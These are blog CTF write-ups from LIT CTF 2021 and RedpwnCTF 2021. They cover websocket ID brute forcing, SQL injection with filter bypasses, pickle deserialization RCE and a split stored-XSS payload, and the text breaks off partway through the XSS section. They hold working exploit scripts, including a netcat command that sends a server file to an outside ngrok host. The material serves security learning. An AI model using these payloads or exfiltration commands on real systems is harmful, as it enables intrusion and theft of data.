Jokr’s blog

LIT CTF 2021

2021-06-19T00:00:00+00:00

Here, you can find write-ups of few interesting challenges from my solves in LIT CTF 2021. You can find and learn the below mentioned techniques:

SQL injection with WAF bypass
RCE using python pickle desirialisation, bypassing the input(dictionary) validation
Abusing the funtionality of a Web-Socket Server

LIT BUGS

Source code

var express = require('express');
var app = express();
var http = require('http').createServer(app);
var io = require('socket.io')(http);
var md5 = require("md5");
var fs = require('fs');

const flag = fs.readFileSync("flag.txt",{encoding:'utf8', flag:'r'});

var accounts = {};
// Special account for LIT Organizers
var admin_id = Math.floor(Math.random() * 1000)
accounts[flag] = {
	"password": md5(flag),
	"rand_id": admin_id
};

id2Name = {};
for(let [name,account] of Object.entries(accounts)) {
	id2Name[account["rand_id"]] = name;
}

io.on('connection',(socket) => {
	socket.on('login',(tn,pwd) => {
		if(accounts[tn] == undefined || accounts[tn]["password"] != md5(pwd)) {
			socket.emit("loginRes",false,-3);
			return;
		}
		socket.emit("loginRes",true,accounts[tn]["rand_id"]);
		return;
	});

	socket.on('reqName',(rand_id) => {
		name = id2Name[parseInt(rand_id)];
		socket.emit("reqNameRes",name);
	});

	socket.on('register',(tn,pwd) => {
		if(accounts[tn] != undefined) {
			socket.emit("regRes",false,-1);
			return;
		}
		if(Object.keys(accounts).length >= 500) {
			socket.emit("regRes",false,-2);
			return;
		}
		var rand_id = Math.floor(Math.random() * 1000);
		while(id2Name[rand_id] != undefined) {
			rand_id = Math.floor(Math.random() * 1000);
		}
		accounts[tn] = {
			"password": md5(pwd),
			"rand_id": rand_id
		};
		id2Name[rand_id] = tn;
		socket.emit("regRes",true,rand_id);
	});
});


app.get('/',(req,res) => {
	res.sendFile(__dirname + '/html/index.html');
});

app.get('/login',(req,res) => {
	res.sendFile(__dirname + '/html/login.html');
});

app.get('/register',(req,res) => {
	res.sendFile(__dirname + '/html/register.html');
});

app.get('/contest',(req,res) => {
	res.sendFile(__dirname + '/html/contest.html');
});

http.listen(8081,() => {
	console.log('listening on *:8081');
});

Vulnerablity

The application runs uses Web-Sockets which has a funtionality of registering users. Each user has a random 3 digit ID asscociated with his name and password The flag was stored as name of the admin. So, the Goal was to get the admin’s name.

Also the application has other funtionality which takes the ID and returns the name.

socket.on('reqName',(rand_id) => {
		name = id2Name[parseInt(rand_id)];
		socket.emit("reqNameRes",name);
	});

So bruteforcing all the ID’s from 100 to 999 could give us the flag (easy-peasy!)

Exploit script

var io = require('socket.io-client');
var socket = io.connect('http://websites.litctf.live:8000', {reconnect: true});

// Add a connect listener
socket.on('connect', function (socket) {
    console.log('Connected!');
});

socket.on("reqNameRes", (name) => {
    if(name != null && name.startsWith("flag{")){
        console.log("Name: "+name);
        socket.close();
    }
})

for(var i=1; i<1000; i++){
    socket.emit("reqName", i);
}

Flag

flag{if_y0u_d1d_not_brut3force_ids_plea5e_c0ntact_codetiger}

Alex Fan Club

Source code

import sqlite3
from flask import Flask, render_template, g, request

app = Flask(__name__)

DATABASE = "db"

def get_db():
    db = getattr(g, "_database", None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, "_database", None)
    if db is not None:
        db.close()

def query_db(query, args=(), one=False):
    cur = get_db().execute(query, args)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.route("/", methods=["GET"])
def index():
    param = request.args.get("param")
    achievements = query_db("select * from achievements")
    if param != None:
        sqli = 1 in [c in param for c in "*-/ |%"]
        if sqli:
            return render_template("sqli.html")
        achievements = query_db("select * from achievements where achievement like '%" + param + "%'")
    achievements = [achievement[0] for achievement in achievements]
    return render_template("index.html", achievements=achievements)

PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE achievements(
achievement TEXT PRIMARY KEY NOT NULL
);
INSERT INTO achievements VALUES('CF Master');
INSERT INTO achievements VALUES('USACO camper');
INSERT INTO achievements VALUES('pro skillz piano player');
INSERT INTO achievements VALUES('Actually bought sublime text :o');
INSERT INTO achievements VALUES('Knows more chinese than you');
INSERT INTO achievements VALUES('Supreme Leader/Cult Leader of LexMACS');
INSERT INTO achievements VALUES('Organized LIT');
INSERT INTO achievements VALUES('OP at web development');
INSERT INTO achievements VALUES('Puts using namespace std; as the FIRST LINE in his code :O');
INSERT INTO achievements VALUES('Too cool for #include ');
INSERT INTO achievements VALUES('Top tier MS Paint skills');
INSERT INTO achievements VALUES('Has an informative Youtube channel');
INSERT INTO achievements VALUES('Carried OlyFans during mBIT');
INSERT INTO achievements VALUES('Got top 10 for HSCTF 8');
INSERT INTO achievements VALUES('Is super cool');
INSERT INTO achievements VALUES('Knows fishy15 :yum:');
INSERT INTO achievements VALUES('Has discord nitro');
INSERT INTO achievements VALUES('Beat lots of IGMs in CF Round 728');
INSERT INTO achievements VALUES('Went from pupil to master in ONE year');
INSERT INTO achievements VALUES('Practices consistently orz');
INSERT INTO achievements VALUES('Created USACO Rating');
INSERT INTO achievements VALUES('Able to make better website designs than this');
INSERT INTO achievements VALUES('Able to get AC while using Scanner instead of BufferedReader in Java/Kotlin');
INSERT INTO achievements VALUES('Has a cool profile picture');
CREATE TABLE redacted(
redacted TEXT PRIMARY KEY NOT NULL
);
INSERT INTO redacted VALUES('flag{redacted}');
COMMIT;

Vulnerablity

The Website has a search functionality to search among achivements. The search parameter is vulnerable to SQL injection.

achievements = query_db("select * from achievements where achievement like '%" + param + "%'")

But the search parameter is validated using a blacklist to avoid SQLi. If any character in the blacklist is inside the param then param would get rejected. But there are interesting ways to bypass blacklist filters

sqli = 1 in [c in param for c in "*-/ |%"]
	if sqli:
	    return render_template("sqli.html")

The db used is sqlite3. In our case the we need to bypass the space character and comments to get a valid injection. So let me mention few bypasses -

Space characters can be avoided using paranthesis.

SELECT name from users; --> SELECT(name)FROM(users);

Space characters can also be bypassed using \n (new line characters).

SELECT name from users;  

-->

SELECT
name
FROM
users;

Comments (/* */) can be avoided by making the trailing statement after injection, valid

Exploit script

import requests
url = "http://alex-fan-club.litctf.live"

# Use the payload to get the table and column names
payload = '''Has'
union
SELECT
sql
FROM
sqlite_master
WHERE
type!='meta'
AND
sql
NOT
NULL
AND
name='redacted'
or
'has'like\''''

# After you get the table and column names, 
# substitute them here, and use this payload 
# to get the flag
payload2 = '''Has'
union
SELECT
flag_column
from
flag_is_in_here
where
flag_column
like\''''

url = url + "/?param=" + payload2
res = requests.get(url)
print(res.text)

Flag

flag{c0d3tig3r_g0t_gm_p3rf0rm4nc3_on_a_div_1_0rz}

A Flask of Pickles

Source code

import secrets
from flask import Flask, render_template, request
import pickle
import base64

flag = "REDACTED"

app = Flask(__name__)

users = {
    "example-user": {
        "name": "example",
        "bio": "this is example"
    }
}

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/new", methods=["POST"])
def new():

    # print("request_data", request.get_data())
    pickle_str = base64.b64decode(request.get_data())

    # print("pickle_str", pickle_str)
    
    if len(pickle_str) > 138:
        return "length exxeded: "+ str(len(pickle_str))

    dict_prefix = b"\x80\x04\x95" + chr(len(pickle_str)-11).encode() + b"\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c"
    dict_suffix = b"\x94u."
    # print("dict_suffix", dict_suffix)
    # print("dict_prefix", dict_prefix)
    
    # make sure dictionary is valid and no funny business is going on
    if pickle_str[:len(dict_prefix)] != dict_prefix or pickle_str[-len(dict_suffix):] != dict_suffix or b"flag" in pickle_str or b"os." in pickle_str or b"open" in pickle_str:
        return "uhoh"

    url = secrets.token_urlsafe(16)
    obj = pickle.loads(pickle_str)
    # print(obj)
    users[url] = obj    

    return "user?id=" + url

@app.route("/uhoh")
def uhoh():
    return render_template("uhoh.html")

@app.route("/user", methods=["GET"])
def user():
    uid = request.args.get("id")
    if len(uid) < 10:
        return "id too short"
    if uid not in users:
        return "user not found :("
    return render_template("user.html", user=users[uid])

Vulnerablity

I have seen many typical pickle challenges in my previous CTFs. Also have seen some insane challenges which could give a Brain Fuck. The goal of the current challenge is to get a Remote Code Execution by exploiting python pickle desirialisation.

Application has a functionality to store a user’s name and Bio. The name and Bio were sent to the application in the form of a serialized dictionary. This dictionary was being desirialised in backend to read the values. As the dict can be controlled by user, we could provide a specially crafted pickle to get RCE.

One way to do that using the __reduce__ method in the pickled class

class RCE():
	def __reduce__(self):
		cmd = 'ls' # modify to any command
		return os.system, (cmd,)

But then comes the caveat. The user provided dict signature was being validated. Also the pickle string was being validated with a blacklist. Along with that, the pickle string’s length is constrained to 138 chars

if len(pickle_str) > 138:
    return "length exxeded: "+ str(len(pickle_str))

dict_prefix = b"\x80\x04\x95" + chr(len(pickle_str)-11).encode() + b"\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c"
dict_suffix = b"\x94u."

# make sure dictionary is valid and no funny business is going on
if pickle_str[:len(dict_prefix)] != dict_prefix or pickle_str[-len(dict_suffix):] != dict_suffix or b"flag" in pickle_str or b"os." in pickle_str or b"open" in pickle_str:
    return "uhoh"

So due to this limitation, we cannot directly pickle the RCE class. We can only send a pickled dictionary. Also couldn’t use the os. in the pickle.

Bypassing the above limitations was not that complicated.

First, to bypass the dictionary check, we can assign the object of RCE class, as a value in the dictionary. Doing this way would make our input a valid dict, meanwhile holding the Exploit pickle.

class R():                             # used R as class name to reduce payload size
	def __reduce__(self):
		cmd = 'ls'
		return os.system, (command,)

obj = {'name': R(), 'bio': ''}
pic = pickle.dumps(obj)
enc = base64.b64encode(pic)

We need not to bypass os.. Because the pickle contains os and system as separate strings so the exploit works perfectly. I guess it was the author’s mistake. He should have used os instead of os. in blacklist.

So, finally i pulled up a ngrok server to listen for reverse connections in my local port. As the flag is stored in flaskofpickles.py, I used netcat to make a reverse connection to deliver the file to my pc.

Exploit script

import pickle, os, pickletools, requests, base64

url = "https://a-flask-of-pickles.litctf.live"
# url = "http://0.0.0.0:1337"

rshell = '''cat flaskofpickles.py | nc 2.tcp.ngrok.io 10656''' # replace ngrok domain


class R():
	def __reduce__(self):
		cmd = 'ls'
		return os.system, (rshell,)

obj = {'name': R(), 'bio': ''}	

pic = pickle.dumps(obj)
enc = base64.b64encode(pic)

pickletools.dis(pic)

res = requests.post(url+'/new', data=enc)

print(res.text)

Flag

flag{my_p1ckl35_p0k3d_a_h0l3_in_my_fl4sk}

Takeaways

Never deserialize user input directly. It you can’t avoid, try implementing hardened security checks (which is impossible, lol)
Whitelists are better then blacklists.
Use parameterized queried to avoid SQL injections.
Keep an eye on abusive funtionality in the application.

Happy Hacking!

Feel free to provide feedback.

RedpwnCTF 2021

2021-06-13T00:00:00+00:00

Here, you can find write-ups of few interesting challenges from my solves in RedpwnCTF 2021.

Cool

TL;DR

The application allows users to register.
The register funtionality is vulnerable to SQL injection.
In this case, SQLi is inside the INSERT statement.
Retriving data is non-trivial and time consuming using this type of SQLi.
The goal is to retrive the admin’s password.
And we get the flag

Looking into website we have a registration page -

On registering with an arbitary account and logging in would display the following message

The source code for the website is given. Take a look at it -

from flask import (
    Flask,
    request,
    render_template_string,
    session,
    redirect,
    send_file
)
from random import SystemRandom
import sqlite3
import os

app = Flask(__name__)
app.secret_key = 'IS_THIS_VULN'

rand = SystemRandom()

allowed_characters = set(
    'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)

def execute(query):
    con = sqlite3.connect('db/db.sqlite3')
    cur = con.cursor()
    cur.execute(query)
    con.commit()
    return cur.fetchall()


def generate_token():
    
    tok = ''.join(
        rand.choice(list(allowed_characters)) for _ in range(32)
    )
    print(tok)
    return tok


def create_user(username, password):
    print(username)
    if any(c not in allowed_characters for c in username):
        return (False, 'Alphanumeric usernames only, please.')
    if len(username) < 1:
        return (False, 'Username is too short.')
    if len(password) > 50:
        return (False, 'Password is too long.')
    other_users = execute(
        f'SELECT * FROM users WHERE username=\'{username}\';'
    )
    if len(other_users) > 0:
        return (False, 'Username taken.')
    execute(
        'INSERT INTO users (username, password)'
        f'VALUES (\'{username}\', \'{password}\');'
    )
    return (True, '')


def check_login(username, password):

    if any(c not in allowed_characters for c in username):
        return False
    correct_password = execute(
        f'SELECT password FROM users WHERE username=\'{username}\';'
    )
    if len(correct_password) < 1:
        return False
    print(correct_password)
    return correct_password[0][0] == password


@app.route('/', methods=['GET', 'POST'])
def login():
    error = ''
    if request.method == 'POST':
        valid_login = check_login(
            request.form['username'],
            request.form['password']
        )
        if valid_login:
            session['username'] = request.form['username']
            return redirect('/message')
        error = 'Incorrect username or password.'
    if 'username' in session:
        return redirect('/message')
    return render_template_string('''
        
        
            Log in to see Aaron's message!
            
                Username
                
                Password
                
                
            
            
            Register
        
    ''', error=error)


@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        success, message = create_user(
            request.form['username'],
            request.form['password']
        )
        if success:
            session['username'] = request.form['username']
            return redirect('/message')
    return render_template_string('''
        
        
            Register!
            
                Username
                
                Password
                
                
            
            
        
    ''', error=message)


@app.route('/message')
def message():
    if 'username' not in session:
        return redirect('/')
    if session['username'] == 'ginkoid':
        return send_file(
            'flag.mp3',
            attachment_filename='flag-at-end-of-file.mp3'
        )
    return '''
        
            
            You are logged in!
            Unfortunately, Aaron's message is for cool people only.
            (like ginkoid)
            Log out
        
    '''


@app.route('/logout')
def logout():
    if 'username' not in session:
        return redirect('/')
    del session['username']
    return redirect('/')


def init():
    # this is terrible but who cares
    execute('''
        CREATE TABLE IF NOT EXISTS users (
            username TEXT PRIMARY KEY,
            password TEXT
        );
    ''')
    execute('DROP TABLE users;')
    execute('''
        CREATE TABLE users (
            username TEXT PRIMARY KEY,
            password TEXT
        );
    ''')

    # put ginkoid into db
    ginkoid_password = generate_token()
    execute(
        'INSERT OR IGNORE INTO users (username, password)'
        f'VALUES (\'ginkoid\', \'{ginkoid_password}\');'
    )
    execute(
        f'UPDATE users SET password=\'{ginkoid_password}\''
        f'WHERE username=\'ginkoid\';'
    )

    app.run(debug=True)

init()

Looking at the source code above carefully, we can find that [INSERT INTO] statement in create_user. The username is whitelisted for allowed characters but not the password field. Additionally password must be less than 50 chars long.

To retrive the data using this injection is not so easy because -

The execute funtion cannot execute multiple statements.
And INSERT statement cannot be combined with other statements easily, to retrive data.

Work around

So to exploit this situation, we must use something with INSERT statement.

Let’s first take a look at injection -

INSERT INTO users (username, password) values ('username', '[INJECTION POINT]');

We just need to break out of SQL syntax by injecting foo’)– in password field -

INSERT INTO users (username, password) values ('foo', 'foo')--');

With this we can confirm the SQLi, checking if user with those creds created.

So now we need to retrive the password of ginkoid to login and get the flag.

Solution

The strategy to get the password -

SELECT statement can be used with INSERT statement
So we can select the fisrt character of ginkoids’s password
Use that single char as password for new account.
As the ginkoid’s password lies in allowed characters, we can bruteforce the character by logging into the new account.
Once logged in, the character is noted as first char of ginkoid’s password
We repeat the same process 32 times to get each char of password at one time

The basic injection to get first character of ginkoid’s password and stores as new account’s password -

INSERT INTO users (username, password) values ('new1', ''||(substr((select password from users),1,1)))--');

Consider the above payload -

SELECT password [FROM] users would give the first user’s password. This is used to reduce the payload size.
Here, substr is used to select a single char of password.
|| operator is used to concatenate the character with an empty string
-- is used to comment out the rest of the statement to get valid syntax

To automate this, i have used the following python script -

import requests

url = "https://cool.mc.ax"
allowed_characters = set(
    'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
) 
name = "loo"


def exploit():
  password = ""
  for i in range(1, 33):

    payload = {
      "username": "{}{}".format(name, i),
      "password": "'||(substr((select password from users),{},1)))--".format(i)
    }

    if i in [10, 20, 30]:
      pos = int(str(i)[0])
      payload = {
        "username": "{}{}".format("foomids", pos),
        "password": "'||(substr((select password from users),{},1)))--".format(i)
      }

    res = requests.post(url+'/register', data=payload)
    # print("[+] Registered a user. Payload: ", payload)

    for c in allowed_characters:
      payload = {
        "username": "{}{}".format(name,i),
        "password": "{}".format(c)
      }

      if i in [10, 20, 30]:
        pos = int(str(i)[0])
        payload = {
          "username": "{}{}".format("foomids",pos),
          "password": "{}".format(c)
        }

      # print(payload)
      res = requests.post(url, data=payload)
    
      if len(res.text) < 600:
        password += c
        print(password) 
        break

    else:
      print("Not found at position: {}".format(i))
      password += '_'
      print(password)


exploit()

Run the above script to get the password. Password randomly changes after every restart. Here is the output password generated by the exploit code -

flag-at-end-of-file.mp3

Run the following command to get the flag -

tail -1 flag-at-end-of-file.mp3

Flag

flag{44r0n_s4ys_s08r137y_1s_c00l}

Notes

TL;DR

The application has a funtionality to store notes
Each note has two sections, a body and a tag
The body is the text section of note and tag can be public or private
The challange invovled exploiting a stored XSS vulnerability in the tag parameter
But the payload is constrained to 10 charachters
As we could store many notes, crafting a valid XSS payload using more than one note worked.
Application has an admin who has permission of viewing all notes.
Admin has also stored the FLAG as his private note.
So send a crafted link to admin which triggers the stored XSS and gets his cookie
We login as admin and get the flag.

Solution

Lets take a look at the website.

The application allows users to have an account. User can register and login.

The website has a funtionality to take notes. Each note is associated with a body which is the actual content and a tag which can be public or private. Public notes can be viewed by all the users, while private notes can only be viewed by the user who creates it.

Notes are stored and can be viewed later on.

Where is the vulnerablity ?

Source code for the website is given. Interesting parts of the source code are shown below.

const template = document.querySelector('#note-template').innerHTML;
const container = document.querySelector('.container');
const user = new URL(window.location).pathname.split('/')[2];

const populateTemplate = (template, params) =>
  template.replace(/\{\{\s?(.+?)\s?\}\}/g, (match, param) => params[param]);

(async () => {
  const request = await fetch(`/api/notes/${user}`);
  const notes = await request.json();

  const renderedNotes = [];
  for (const note of notes) {
    // this one is controlled by user, so prevent xss
    const body = note.body
      .replaceAll('<', '<')
      .replaceAll('>', '>')
      .replaceAll('"', '"')
      .replaceAll('\'', ''');
    // this one isn't, but make sure it fits on page
    const tag = note.tag.length > 10 ? note.tag.substring(0, 7) + '...' : note.tag;
    // render templates and put them in our array
    const rendered = populateTemplate(template, { body, tag });
    renderedNotes.push(rendered);
  }

  container.innerHTML += renderedNotes.join('');
})();

The above code takes the user-controlled parameters and adds them to HTML template. The special characters which can lead to XSS are encoded in the body parameter. So XSS is not possible in this context.

But wait, is the tag parameter filtered? Oh, it’s not!!

On looking into the website one might think that the tag can only be public or private, but it can simply be modified to anything using a HTTP proxy like Burp. So, we have a user-controlled parameter which is not filtered and added to HTML. This is enough to get stored XSS (As the notes were being stored in the application).

But this is not the big part of the challenge.

The tag paramenter can only be 10 characters long. It would be stripped if it’s more than that. And this is a serious issue.

How to trigger XSS?

I slowly started thinking about bypassing the length check to trigger XSS.

The tag parameter was sent as a string. So modifying it to an array would make it’s length equal to lenght of the array. Irrespective of length of string in the array, length of array would remain 1, thus bypassing the check.

But this didn’t work as the parameter was strictly checked for string type. Tried modifying the content-type
from application/json to application/x-www-form-urlencoded hoping for bypass. But again it strictly checks for json.

Here is the schema used for validation in the source code -

fastify.post(
'/notes',
{
  schema: {
    body: {
      type: 'object',
      properties: {
        body: { type: 'string' },
        tag: { type: 'string' },
      },
      required: ['body', 'tag'],
    },
  },
},
(req) => {
  if (!req.auth.login) throw error('Not logged in!', 401);
  if (req.auth.username === 'admin')
    throw error('No admin notes please!', 400);
  db.addNote(req.auth.username, {
    body: req.body.body,
    tag: req.body.tag,
  });
  return {};
}
);

Wait.. May be we can split a XSS payload and store each part in a tag of separate notes. Ofcourse we should make sure that all the parts form a valid XSS payload.

Lets try sending the following payload

<script>alert(1)</script>

We must also make sure to comment the extra HTML added by the template. As only 10 characters are allowed in a tag, the payload can be sent in following way -

Request 1:

data = {
    "body": "foo",
    "tag": "